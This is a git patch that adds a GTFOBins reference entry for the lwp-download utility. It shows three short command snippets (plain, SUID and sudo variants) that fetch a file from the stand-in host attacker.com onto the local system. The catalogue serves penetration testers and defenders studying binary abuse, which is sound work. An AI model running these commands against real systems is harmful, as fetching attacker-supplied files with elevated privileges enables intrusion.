From 279824d5883dcaa827649a309ba0d97c08585ba1 Mon Sep 17 00:00:00 2001
From: bcoles <bcoles@gmail.com>
Date: Tue, 17 Mar 2020 17:19:30 +1100
Subject: [PATCH] Create lwp-download.md

---
 _gtfobins/lwp-download.md | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)
 create mode 100644 _gtfobins/lwp-download.md

diff --git a/_gtfobins/lwp-download.md b/_gtfobins/lwp-download.md
new file mode 100644
index 0000000..efc04a6
--- /dev/null
+++ b/_gtfobins/lwp-download.md
@@ -0,0 +1,21 @@
+---
+functions:
+  file-download:
+    - description: Fetch a remote file via HTTP GET request.
+      code: |
+        export URL=http://attacker.com/file_to_get
+        export LFILE=file_to_save
+        lwp-download $URL $LFILE
+  suid:
+    - description: Fetch a remote file via HTTP GET request.
+      code: |
+        export URL=http://attacker.com/file_to_get
+        export LFILE=file_to_save
+        ./lwp-download $URL $LFILE
+  sudo:
+    - description: Fetch a remote file via HTTP GET request.
+      code: |
+        export URL=http://attacker.com/file_to_get
+        export LFILE=file_to_save
+        sudo -E lwp-download $URL $LFILE
+---